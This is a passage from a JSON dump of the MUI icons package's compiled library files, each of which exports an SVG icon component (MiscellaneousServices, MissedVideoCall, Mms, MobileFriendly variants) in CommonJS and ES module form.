7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.02 13.97 1.7-2.94s-.09-.08-.23-.18l-1.47-1.16-.01.02c.03-.24.05-.47.05-.71s-.02-.47-.06-.69l.01.01 1.71-1.34-1.7-2.95-2.01.81v.01c-.37-.28-.77-.52-1.2-.7h.01L10.52 2H7.11L6.8 4.15h.01c-.43.18-.83.42-1.2.7v-.01L3.6 4.03 1.9 6.98l1.7 1.34.01-.01c-.03.22-.05.45-.05.69s.02.47.05.71l-.01-.02-1.47 1.16c-.13.1-.23.18-.23.18l1.7 2.94 2.02-.8-.02-.03c.37.29.77.53 1.21.71H6.8L7.11 16h3.4s.02-.13.04-.3l.27-1.85h-.01c.44-.18.84-.42 1.21-.71l-.02.03zM8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m12.17 6.94-.01.01q.03-.225.03-.45c0-.15-.01-.3-.04-.44l.01.01 1.1-.86-1.09-1.9-1.29.52v.01c-.24-.18-.49-.33-.77-.45h.01l-.2-1.39h-2.19l-.2 1.38h.01c-.28.12-.53.27-.77.45v-.01l-1.29-.52-1.09 1.9 1.09.86.01-.01c-.02.14-.03.29-.03.44s.01.3.03.46l-.01-.01-.94.75c-.08.06-.15.12-.15.12l1.09 1.89 1.3-.51-.01-.02c.24.19.5.34.78.46h-.01l.2 1.38h2.19s.01-.08.03-.19l.17-1.19h-.01c.28-.12.54-.27.78-.46l-.01.02 1.3.51 1.09-1.89s-.06-.05-.15-.12zm-3.35.85c-.71 0-1.29-.58-1.29-1.29s.58-1.29 1.29-1.29 1.29.58 1.29 1.29-.58 1.29-1.29 1.29\"\n}), 'MiscellaneousServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.02 13.97 1.7-2.94s-.09-.08-.23-.18l-1.47-1.16-.01.02c.03-.24.05-.47.05-.71s-.02-.47-.06-.69l.01.01 1.71-1.34-1.7-2.95-2.01.81v.01c-.37-.28-.77-.52-1.2-.7h.01L10.52 2H7.11L6.8 4.15h.01c-.43.18-.83.42-1.2.7v-.01L3.6 4.03 1.9 6.98l1.7 1.34.01-.01c-.03.22-.05.45-.05.69s.02.47.05.71l-.01-.02-1.47 1.16c-.13.1-.23.18-.23.18l1.7 2.94 2.02-.8-.02-.03c.37.29.77.53 1.21.71H6.8L7.11 16h3.4s.02-.13.04-.3l.27-1.85h-.01c.44-.18.84-.42 1.21-.71l-.02.03zM8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m12.17 6.94-.01.01q.03-.225.03-.45c0-.15-.01-.3-.04-.44l.01.01 1.1-.86-1.09-1.9-1.29.52v.01c-.24-.18-.49-.33-.77-.45h.01l-.2-1.39h-2.19l-.2 1.38h.01c-.28.12-.53.27-.77.45v-.01l-1.29-.52-1.09 1.9 1.09.86.01-.01c-.02.14-.03.29-.03.44s.01.3.03.46l-.01-.01-.94.75c-.08.06-.15.12-.15.12l1.09 1.89 1.3-.51-.01-.02c.24.19.5.34.78.46h-.01l.2 1.38h2.19s.01-.08.03-.19l.17-1.19h-.01c.28-.12.54-.27.78-.46l-.01.02 1.3.51 1.09-1.89s-.06-.05-.15-.12zm-3.35.85c-.71 0-1.29-.58-1.29-1.29s.58-1.29 1.29-1.29 1.29.58 1.29 1.29-.58 1.29-1.29 1.29\"\n}), 'MiscellaneousServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zM10 15l-3.89-3.89v2.55H5V9.22h4.44v1.11H6.89l3.11 3.1 4.22-4.22.78.79z\"\n}), 'MissedVideoCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zM10 15l-3.89-3.89v2.55H5V9.22h4.44v1.11H6.89l3.11 3.1 4.22-4.22.78.79z\"\n}), 'MissedVideoCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zm-2-1.83V16H5V8h10zm-7.89 2.44L11 15l3.77-3.79-.78-.79L11 13.43l-3.11-3.1h2.55V9.22H6v4.44h1.11z\"\n}), 'MissedVideoCallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zm-2-1.83V16H5V8h10zm-7.89 2.44L11 15l3.77-3.79-.78-.79L11 13.43l-3.11-3.1h2.55V9.22H6v4.44h1.11z\"\n}), 'MissedVideoCallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V8.91c0-.89-1.08-1.34-1.71-.71zm-6.29 3.79c-.39.39-1.02.39-1.41 0l-3.18-3.18v2.55H5V9.72c0-.28.22-.5.5-.5h3.94v1.11H6.89l3.11 3.1 4.22-4.22.78.79z\"\n}), 'MissedVideoCallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V8.91c0-.89-1.08-1.34-1.71-.71zm-6.29 3.79c-.39.39-1.02.39-1.41 0l-3.18-3.18v2.55H5V9.72c0-.28.22-.5.5-.5h3.94v1.11H6.89l3.11 3.1 4.22-4.22.78.79z\"\n}), 'MissedVideoCallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V6H3v12h14v-4.5l4 4v-11zM10 15l-3.89-3.89v2.55H5V9.22h4.44v1.11H6.89l3.11 3.1 4.22-4.22.78.79z\"\n}), 'MissedVideoCallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V6H3v12h14v-4.5l4 4v-11zM10 15l-3.89-3.89v2.55H5V9.22h4.44v1.11H6.89l3.11 3.1 4.22-4.22.78.79z\"\n}), 'MissedVideoCallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 13.5V8H5v8h10zM11 15l-3.89-3.89v2.55H6V9.22h4.44v1.11H7.89l3.11 3.1 2.99-3.01.78.79z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1zm2-9h10v8H5zm6 5.43-3.11-3.1h2.55V9.22H6v4.44h1.11v-2.55L11 15l3.77-3.79-.78-.79z\"\n}, \"1\")], 'MissedVideoCallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MissedVideoCallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 13.5V8H5v8h10zM11 15l-3.89-3.89v2.55H6V9.22h4.44v1.11H7.89l3.11 3.1 2.99-3.01.78.79z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1zm2-9h10v8H5zm6 5.43-3.11-3.1h2.55V9.22H6v4.44h1.11v-2.55L11 15l3.77-3.79-.78-.79z\"\n}, \"1\")], 'MissedVideoCallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mms.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M5 14l3.5-4.5 2.5 3.01L14.5 8l4.5 6z\"\n}), 'Mms');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mms.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M5 14l3.5-4.5 2.5 3.01L14.5 8l4.5 6z\"\n}), 'Mms');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-5.5-8L11 12.51 8.5 9.5 5 14h14z\"\n}), 'MmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-5.5-8L11 12.51 8.5 9.5 5 14h14z\"\n}), 'MmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M5.63 13.19l2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.41-.01-.65-.49-.39-.82\"\n}), 'MmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M5.63 13.19l2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.41-.01-.65-.49-.39-.82\"\n}), 'MmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zM5 14l3.5-4.5 2.5 3.01L14.5 8l4.5 6z\"\n}), 'MmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zM5 14l3.5-4.5 2.5 3.01L14.5 8l4.5 6z\"\n}), 'MmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM8.5 9.5l2.5 3.01L14.5 8l4.5 6H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-5.5-8L11 12.51 8.5 9.5 5 14h14z\"\n}, \"1\")], 'MmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MmsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM8.5 9.5l2.5 3.01L14.5 8l4.5 6H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-5.5-8L11 12.51 8.5 9.5 5 14h14z\"\n}, \"1\")], 'MmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendly.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendly');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendly.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendly');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlyOutlined.js",
